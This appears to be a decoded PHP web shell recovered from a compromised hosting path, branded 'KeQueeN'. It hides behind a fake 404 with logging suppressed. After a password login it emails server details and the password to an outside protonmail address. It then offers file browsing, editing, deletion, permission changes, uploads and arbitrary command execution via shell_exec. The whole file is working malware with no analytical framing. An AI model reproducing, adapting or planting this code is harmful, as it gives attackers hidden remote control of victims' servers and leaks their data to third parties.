File: /data/web/virtuals/6851/virtual/www/domains/ucto.genius-web.cz/decoded_shell.php
<?php
$pw = '$2y$10$Od7XoNrD6b1A24cfQUUrpuw6tjsm3zLx6JqJx1KozNNXuJ9n1kVRG';
session_start();
ignore_user_abort(true);
set_time_limit(0);
http_response_code(404);
error_reporting(0);
ini_set('display_errors', 0);
ini_set('log_errors', 0);
function scsOC($hexString) {
$result = '';
$length = strlen($hexString) - 1;
$i = 0;
while ($i < $length) {
$result .= chr(hexdec($hexString[$i] . $hexString[$i + 1]));
$i += 2;
}
return $result;
}
function Ce_vX($string) {
$result = '';
for ($i = 0; $i < strlen($string); $i++) {
$result .= dechex(ord($string[$i]));
}
return $result;
}
function knstU($filePath) {
return substr(sprintf('%o', fileperms($filePath)), -4);
}
function jq1Ug($dirPath) {
$files = array_diff(scandir($dirPath), ['.', '..']);
foreach ($files as $file) {
$fullPath = "$dirPath/$file";
if (is_dir($fullPath)) {
jq1Ug($fullPath);
} else {
unlink($fullPath);
}
}
rmdir($dirPath);
}
function fo73G($message, $type = 1, $redirect = '') {
global $currentDir;
$icon = $type == 1 ? "success" : "error";
echo "<script>swal({title: \"$icon\", text: \"$message\", icon: \"$icon\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" . Ce_vX($currentDir) . $redirect . "\"}});</script>";
}
function formatSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
if (!isset($_SESSION['seslog']) && function_exists('password_verify') && isset($_POST['pass']) && $_POST['pass'] && password_verify($_POST['pass'], $pw)) {
$_SESSION['seslog'] = true;
$to = 'bapakluheker@protonmail.com';
$subject = '🔥 Shell Detected 🔥 - ' . $_SERVER['HTTP_HOST'];
$ip = $_SERVER['REMOTE_ADDR'];
$dm = $_SERVER['HTTP_HOST'];
$url = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'Direct Access';
$dir = getcwd();
$pass = $_POST['pass'];
$uname = function_exists('php_uname') ? @php_uname() : 'N/A';
$uid = function_exists('exec') ? (@exec('id 2>/dev/null', $o) ? implode("\n", $o) : 'N/A') : 'N/A';
$cpuCount = 'N/A';
$cpuModel = 'N/A';
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
$cpuCount = function_exists('shell_exec') ? trim(@shell_exec('echo %NUMBER_OF_PROCESSORS%')) : 'N/A';
$cpuModel = function_exists('shell_exec') ? trim(@shell_exec('wmic cpu get name /value 2>nul | findstr Name')) : 'N/A';
if ($cpuModel && strpos($cpuModel, '=') !== false) {
$cpuModel = trim(substr($cpuModel, strpos($cpuModel, '=') + 1));
}
} else {
$cpuCount = function_exists('shell_exec') ? trim(@shell_exec('nproc 2>/dev/null')) : 'N/A';
$cpuModel = function_exists('shell_exec') ? trim(@shell_exec("grep -m1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2")) : 'N/A';
}
if (!$cpuCount) $cpuCount = 'N/A';
if (!$cpuModel) $cpuModel = 'N/A';
$msg = "🔥 Shell Detected 🔥\n\n"
. "🌐 Domain: $dm\n"
. "📁 Directory: $dir\n"
. "🔗 Access: $url\n"
. "🌍 IP: $ip\n"
. "🔑 Pass: $pass\n"
. "💻 Uname: \n$uname\n\n"
. "👤 ID: \n$uid\n\n"
. "🖥️ CPU(s): $cpuCount\n"
. "⚙️ Model name: $cpuModel\n";
$headers = "From: noreply@{$_SERVER['HTTP_HOST']}\r\n";
$headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";
$headers .= "Content-Type: text/plain; charset=UTF-8\r\n";
@mail($to, $subject, $msg, $headers);
}
if (!isset($_SESSION['seslog'])) {
if (isset($_POST['pass']) && !$_POST['pass']) echo '<div class="container py-2 col-md-7"><div class="alert alert-warning alert-dismissible fade show"><strong>Error!!</strong> Form Can\'t be Empty<button type="button" class="btn-close" data-bs-dismiss="alert"></button></div></div>';
elseif (isset($_POST['pass'])) echo '<div class="container py-2 col-md-7"><div class="alert alert-danger alert-dismissible fade show"><strong>Error!!</strong> invalid Password<button type="button" class="btn-close" data-bs-dismiss="alert"></button></div></div>';
elseif (!function_exists('password_verify')) echo '<div class="container py-2 col-md-7"><div class="alert alert-warning alert-dismissible fade show"><strong>Error!!</strong> password_hash not supported, Please Upgrade PHP version<button type="button" class="btn-close" data-bs-dismiss="alert"></button></div></div>';
echo '<html>
<head>
<meta charset="UTF-8">
<title>'.$_SERVER['HTTP_HOST'].' - l0g1n</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="//cdn.jsdelivr.net/npm/bootstrap@5.3.5/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="//cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css" rel="stylesheet">
<link href="//pukimai1337.github.io/puki/dark.css" rel="stylesheet">
</head>
<body class="bg-secondary text-light">
<form action="" method="post">
<div class="container-fluid py-3 col-md-7">
<div class="box shadow-sm p-3 mb-5 bg-dark rounded text-end">
<div class="text-center mb-3"><i class="bi bi-bug-fill"></i> Please Login</div>
<div class="input-group mb-3">
<div class="input-group-text"><i class="bi bi-person-circle"></i></div>
<input name="pass" class="form-control form-control-sm" type="password" placeholder="pass...">
<button name="login" class="btn btn-outline-light btn-sm"><i class="bi bi-arrow-right"></i></button>
</div>
</div>
</div>
</form>
<script src="//cdn.jsdelivr.net/npm/bootstrap@5.3.5/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>';
exit();
}
if (isset($_GET["p"])) {
chdir(scsOC($_GET["p"]));
}
$currentDir = getcwd();
if (isset($_GET["a"])) {
$action = scsOC($_GET["a"]);
if ($action == "delete") {
if (isset($_GET["n"])) {
$fileName = scsOC($_GET["n"]);
$targetPath = "$currentDir/$fileName";
if (is_dir($targetPath)) {
jq1Ug($targetPath);
if (!file_exists($targetPath)) {
fo73G("file deleted successfully");
} else {
fo73G("failed to delete the folder", 0);
}
} else {
if (file_exists($targetPath)) {
unlink($targetPath);
if (!file_exists($targetPath)) {
fo73G("file deleted successfully");
} else {
fo73G("failed to delete the file", 0);
}
}
}
}
}
elseif ($action == "view") {
if (isset($_GET["n"])) {
$fileName = scsOC($_GET["n"]);
echo '<h5 class="p-1 rainbow-border" style="text-align: center;">
View File Name : <font color="white">';
echo htmlspecialchars($fileName);
echo '</font>
</h5>
<div class="form-group">
<textarea name="file_content" id="file_content" cols="30" rows="10" class="form-control rainbow-border" readonly>';
echo htmlspecialchars(file_get_contents(getcwd() . "/" . $fileName));
echo '</textarea>
</div>
';
}
}
elseif ($action == "edit") {
if (isset($_GET["n"])) {
$fileName = scsOC($_GET["n"]);
if (isset($_POST["save_file"])) {
$newContent = $_POST["file_content"];
$savePath = getcwd() . "/" . $fileName;
if (file_put_contents($savePath, $newContent) !== false) {
fo73G("File berhasil disimpan");
} else {
fo73G("Gagal menyimpan file", 0);
}
}
echo '<h5 class="p-1 rainbow-border" style="text-align: center;">
Edit Nama File: <font color="white">';
echo htmlspecialchars(scsOC($_GET["n"]));
echo '</font>
</h5>
<form method="post">
<div class="form-group">
<textarea style="resize:none" name="file_content" id="file_content" cols="30" rows="10" class="form-control rainbow-border">';
echo htmlspecialchars(file_get_contents(getcwd() . "/" . $fileName));
echo '</textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="save_file" class="ohct">Save</button>
</div>
</form>';
}
}
elseif ($action == "changePerms") {
if (isset($_GET["n"])) {
$fileName = scsOC($_GET["n"]);
if (isset($_POST["change_permissions"])) {
$newPermissions = $_POST["new_permissions"];
$targetDir = getcwd();
$targetFile = "$targetDir/$fileName";
if (chmod($targetFile, octdec($newPermissions))) {
fo73G("Berhasil mengubah izin");
} else {
fo73G("Gagal mengubah izin", 0);
}
}
echo '<h5 class="p-1 rainbow-border">Ubah Izin : ';
echo htmlspecialchars($fileName);
echo '</h5>
<form method="post">
<div class="form-group">';
echo ' <input type="text" name="new_permissions" id="new_permissions" class="border p-1" value="';
echo knstU(getcwd() . "/" . $fileName);
echo '">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="change_permissions" class="ohct">Change</button>
</div>
</form>';
}
}
elseif ($action == "newFile") {
echo '<h5 class="p-1 rainbow-border" style="text-align: center;">Nama File Baru :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="new_file_name" id="new_file_name" class="border p-1" style="text-align: center;">
</div>
<div class="form-group">
<textarea style="resize:none" name="file_content" id="file_content" cols="30" rows="10" class="form-control rainbow-border"></textarea>
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="create_file" class="ohct">Create</button>
</div>
</form>
';
}
elseif ($action == "newDir") {
echo '<h5 class="p-1 rainbow-border" style="text-align: center;">Nama Folder Baru :</h5>
<form method="post">
<div class="form-group">
<input name="folder_name" id="folder_name" class="border p-1" autocomplete="off" style="text-align: center;">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="create_folder" class="ohct">Create</button>
</div>
</form>
';
}
elseif ($action == "rename") {
if (isset($_GET["n"])) {
$fileName = scsOC($_GET["n"]);
echo '<h5 class="p-1 rainbow-border">Rename File : ';
echo htmlspecialchars($fileName);
echo '</h5>
<form method="post">
<div class="form-group">
<input type="text" name="new_file_name" id="new_file_name" class="border p-1" value="';
echo htmlspecialchars($fileName);
echo '">
</div>
<div class="form-group" style="margin-top: 10px;">
<button type="submit" name="rename_file" class="ohct">Rename</button>
</div>
</form>';
}
}
}
if (isset($_POST["create_file"])) {
$newFileName = basename($_POST["new_file_name"]);
$fileContent = $_POST["file_content"];
$targetDir = getcwd();
$targetPath = "$targetDir/$newFileName";
if (file_put_contents($targetPath, $fileContent) !== false) {
fo73G("File berhasil dibuat", 1, "&a=" . Ce_vX("view") . "&n=" . Ce_vX($newFileName));
} else {
fo73G("File gagal dibuat", 0);
}
}
if (isset($_POST["create_folder"])) {
$folderName = basename($_POST["folder_name"]);
$targetDir = getcwd();
$targetPath = "$targetDir/$folderName";
if (mkdir($targetPath, 0755, true)) {
fo73G("Folder berhasil dibuat");
} else {
fo73G("Gagal membuat folder", 0);
}
}
if (isset($_POST["rename_file"])) {
if (isset($_GET["n"])) {
$oldName = scsOC($_GET["n"]);
$newName = basename($_POST["new_file_name"]);
$targetDir = getcwd();
$oldPath = "$targetDir/$oldName";
$newPath = "$targetDir/$newName";
if (rename($oldPath, $newPath)) {
fo73G("Berhasil mengubah nama file");
} else {
fo73G("Gagal mengubah nama file", 0);
}
}
}
if (isset($_POST["submit"])) {
if (isset($_FILES["f"]["name"]) && count($_FILES["f"]["name"]) > 0) {
foreach ($_FILES["f"]["name"] as $index => $fileName) {
$tmpName = $_FILES["f"]["tmp_name"][$index];
if ($tmpName != '') {
$destination = getcwd() . DIRECTORY_SEPARATOR . $fileName;
if (move_uploaded_file($tmpName, $destination)) {
fo73G("File berhasil diunggah.");
} else {
fo73G("Gagal mengunggah file.");
}
}
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta property="og:image" content="//res.cloudinary.com/ddkldtlwq/image/upload/v1725647241/favicon_bb983db6-7439-44b1-8c54-3a49f6fbcee1_1723809570427_piombf.png">
<meta property="og:title" content="Make KeQueeN Great Again!">
<meta property="og:description" content="By KeQueeN">
<meta name="theme-color" content="#a200ff">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<title>Make KeQueeN Great Again!</title>
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="icon" href="//res.cloudinary.com/ddkldtlwq/image/upload/v1725647241/favicon_bb983db6-7439-44b1-8c54-3a49f6fbcee1_1723809570427_piombf.png">
<style type="text/css">
@import url('https://fonts.googleapis.com/css2?family=Amaranth:ital,wght@0,400;0,700;1,400;1,700&display=swap');
@import url('https://fonts.googleapis.com/css2?family=Rock+Salt&display=swap');
body {
color: black;
font-size: 0px;
font-family: 'Amaranth';
width: 99%;
padding: 0px;
margin-right: auto;
margin-left: auto;
margin-top: 7px;
margin-bottom: 7px;
background-color: black!important;
}
.bg-dark {
background-color: black!important;
}
.border {
box-shadow: 0px 0px 10px #a200ff;
border: 2px solid #a200ff!important;
border-radius: 5px;
background: transparent;
}
.border:hover {
box-shadow: 0px 0px 10px #a200ff;
border: 2px solid #a200ff!important;
}
.table td {
padding: 0.1rem;
box-shadow: inset 0px 0px 0px 1px #a200ff;
border-radius: 2px;
}
.table thead th {
font-family: 'Amaranth', cursive;
box-shadow: inset 0px 0px 0px 1.5px #a200ff;
color: #a200ff;
padding: 0.25rem;
border-radius: 5px;
background: linear-gradient(to bottom, black, #3f3f3f80);
}
.table-hover tbody tr:hover td {
background: #3f3f3f80;
box-shadow: inset 0px 0px 0px 1px #a200ff;
border-radius: 2px;
}
.table>tbody>tr>* {
color:#fff;
vertical-align:middle;
}
.form-control {
background:0 0!important;
color:#fff!important;
border-radius:0;
}
.form-control::placeholder {
color:#fff;
opacity:1;
}
.form-group {
margin-top: .3rem;
margin-bottom: .3rem;
}
li {
font-size:large!important;
color: #a200ff!important;
list-style: inherit!important;
}
a {
color: #ffffff;
text-decoration: none!important;
}
a:hover {
text-decoration: none!important;
color: #a200ff;
animation: kedip 1s linear infinite;
}
h5 {
margin-top: 1.5px;
margin-bottom: 1.5px;
color: #a200ff!important;
padding: 2px;
}
textarea {
width: 97%;
font-size: medium!important;
font-family: inherit;
height: 44vh;
padding-left: 5px;
}
button, input {
border: 2px solid #a200ff;
border-radius: 5px;
font-size: 15px;
color:white;
line-height: normal;
font-family: inherit;
}
button, input:hover {
border: 2px solid #a200ff;
cursor: pointer;
}
.ohct {
padding-left: 1rem;
padding-right: 1rem;
color: white;
border: 2px solid #a200ff;
border-radius: 5px;
background-color: transparent;
font-family: inherit;
font-size: 16px;
}
.ohct:hover {
border: 2px solid #a200ff;
color: #a200ff!important;
}
.combet {
color: white;
}
.combet:hover {
color: #a200ff;
}
.p-1 {
padding: 4px;
}
::selection {
color: black;
background: silver;
}
.fa {
padding: 10px;
font-size: 20px;
width: 50px;
text-align: center;
text-decoration: none;
margin: 5px;
color: #a200ff;
}
.fa:hover {
border: 2px solid #a200ff;
}
.text-light {
color: #f8f9fa!important;
font-size: large!important;
}
.kedip {
animation: kedip 1s linear infinite;
}
@keyframes kedip {
0% { color: #a200ff; }
50% { color: white; }
100% { color: #a200ff; }
}
@keyframes rainbowBorder {
0% {
border-image: linear-gradient(to right, #a200ff, #00ff00, #ff0000, #ffff00) 1;
}
25% {
border-image: linear-gradient(to right, #00ff00, #ff0000, #ffff00, #a200ff) 1;
}
50% {
border-image: linear-gradient(to right, #ff0000, #ffff00, #a200ff, #00ff00) 1;
}
75% {
border-image: linear-gradient(to right, #ffff00, #a200ff, #00ff00, #ff0000) 1;
}
100% {
border-image: linear-gradient(to right, #a200ff, #00ff00, #ff0000, #ffff00) 1;
}
}
.rainbow-border {
border: 2px solid;
animation: rainbowBorder 3s linear infinite;
}
.delete {
color: #ff0000;
}
.delete:hover {
color: #ff6666;
}
</style>
<script src="//cdnjs.cloudflare.com/ajax/libs/sweetalert/2.1.2/sweetalert.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
</head>
<body>
<?php
?>
<div class="table-responsive text-light rainbow-border" style="text-align: left;padding: 4px;margin-bottom: 3px;margin-top: 3px;">
<li>Dir : <span style="color: white;">
<?php
$pathParts = preg_split("/(\\\|\/)/", $currentDir);
foreach ($pathParts as $index => $part) {
if ($index == 0 && $part == '') {
echo '<a href="?p=2f" class="combet">~</a>/';
continue;
}
if ($part == '') {
continue;
}
echo '<a class="combet" href="?p=';
$i = 0;
while ($i <= $index) {
if ($i > 0) {
echo "2f";
}
echo Ce_vX($pathParts[$i]);
$i++;
}
echo "\">{$part}</a>/";
}
?>
</span></li>
<li>Server IP : <span style="color: white;"><?php echo gethostbyname($_SERVER["HTTP_HOST"]); ?></span></li>
<li>Server Software : <span style="color: white;"><?php echo $_SERVER["SERVER_SOFTWARE"]; ?></span></li>
<li>System : <span style="color: white;"><?php echo php_uname(); ?></span></li>
<li>PHP Version : <span style="color: white;"><?php echo phpversion(); ?></span></li>
<li><a href="?p=<?php echo Ce_vX($currentDir); ?>&a=<?php echo Ce_vX("newFile"); ?>" class="combet">
<i class="fa fa-file" data-toggle="tooltip" title="New File"></i>New File</a>
<a href="?p=<?php echo Ce_vX($currentDir); ?>&a=<?php echo Ce_vX("newDir"); ?>" class="combet">
<i class="fa fa-folder" data-toggle="tooltip" title="New Folder"></i>New Folder</a>
</li>
</div>
<?php
?>
<div class="table-responsive text-light" style="text-align: center;font-family: inherit;font-size: large;">
<?php
if (!isset($_GET["a"])) {
?>
<form method="post" enctype="multipart/form-data">
<div class="form-group">
<input type="file" name="f[]" id="f" class="border p-1" multiple>
<button type="submit" name="submit" class="ohct">Upload</button>
</div>
</form>
<form method="post">
<div class="form-group">
<input type="text" name="command" id="command" class="border p-1" style="text-align: center;" placeholder="Masukkan Command">
<button type="submit" name="run_command" class="ohct">Eksekusi</button>
</div>
</form>
<?php
if (isset($_POST["run_command"])) {
$command = $_POST["command"];
$output = shell_exec($command);
echo '<div class="form-group">
<textarea cols="30" rows="5" class="form-control rainbow-border" readonly>';
echo htmlspecialchars($output);
echo '</textarea>
</div>
';
}
}
?>
</div>
<?php
?>
<div>
<table class="table table-hover table-borderless table-sm" style="text-align: center;width: 100%;">
<thead class="text-light">
<tr>
<th style="width: 45%;">Name</th>
<th style="width: 13%;">Size</th>
<th style="width: 13%;">Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light">
<?php
$items = array_diff(scandir($currentDir), [".", ".."]);
foreach ($items as $item) {
$fullPath = "$currentDir/$item";
if (is_dir($fullPath)) {
echo '
<tr>
<td style="text-align: left;">
<i class="fa fa-fw fa-folder-o" style="border: 0;padding: 0;width: 1.28571429em;"></i>';
echo '<a href="?p=' . Ce_vX("$currentDir/$item") . '" data-toggle="tooltip" data-placement="auto" title="Latest modify on ' . date("Y-m-d H:i", filemtime("$currentDir/$item")) . '">' . $item . '</a>';
echo '</td>
<td style="color: black;"><span></span></td>
<td>';
$permColor = is_writable("$currentDir/$item") ? "#00ff00" : (!is_readable("$currentDir/$item") ? "#a200ff" : null);
echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("changePerms") . '&n=' . Ce_vX($item) . '" data-toggle="tooltip" data-placement="auto" title="Change Permissions">';
echo '<font color="' . $permColor . '">' . knstU("$currentDir/$item") . '</font></a>';
echo '</td>
<td style="color: black;width: 9.5%;"><span></span></td>
<td>
<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("rename") . '&n=' . Ce_vX($item) . '&t=d" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a>
</td>
<td>
<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("delete") . '&n=' . Ce_vX($item) . '" class="delete" data-type="folder" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a>
</td>
</tr>';
} else {
echo '
<tr>
<td style="text-align: left;">
<i class="fa fa-fw fa-file-o" style="border: 0;padding: 0;width: 1.28571429em;"></i>';
echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("view") . '&n=' . Ce_vX($item) . '" data-toggle="tooltip" data-placement="auto" title="Latest modify on ' . date("Y-m-d H:i", filemtime("$currentDir/$item")) . '">' . $item . '</a>';
echo '</td>
<td>' . formatSize(filesize("$currentDir/$item")) . '</td>
<td>';
$permColor = is_writable("$currentDir/$item") ? "#00ff00" : (!is_readable("$currentDir/$item") ? "#a200ff" : null);
echo '<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("changePerms") . '&n=' . Ce_vX($item) . '" data-toggle="tooltip" data-placement="auto" title="Change Permissions">';
echo '<font color="' . $permColor . '">' . knstU("$currentDir/$item") . '</font></a>';
echo '</td>
<td>
<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("edit") . '&n=' . Ce_vX($item) . '" data-toggle="tooltip" data-placement="auto" title="Edit">Edit</a>
</td>
<td>
<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("rename") . '&n=' . Ce_vX($item) . '&t=f" data-toggle="tooltip" data-placement="auto" title="Rename">Rename</a>
</td>
<td>
<a href="?p=' . Ce_vX($currentDir) . '&a=' . Ce_vX("delete") . '&n=' . Ce_vX($item) . '" class="delete" data-type="file" data-toggle="tooltip" data-placement="auto" title="Delete">Delete</a>
</td>
</tr>';
}
}
?>
</tbody>
</table>
<?php
?>
<div class="text-light rainbow-border" style="text-align: center;padding: 4px;margin-bottom: 3px;margin-top: 3px;">
<span class="kedip" style="font-family: 'Rock Salt', cursive;">Make KeQueeN Great Again!</span>
</div>
</div>
<script>
$(document).ready(function() {
$('[data-toggle="tooltip"]').tooltip();
$('.delete').click(function(e) {
e.preventDefault();
var href = $(this).attr('href');
var type = $(this).data('type');
swal({
title: "Are you sure?",
text: "Delete this " + type + "?",
icon: "warning",
buttons: true,
dangerMode: true,
}).then((willDelete) => {
if (willDelete) {
window.location.href = href;
}
});
});
});
</script>
</body>
</html>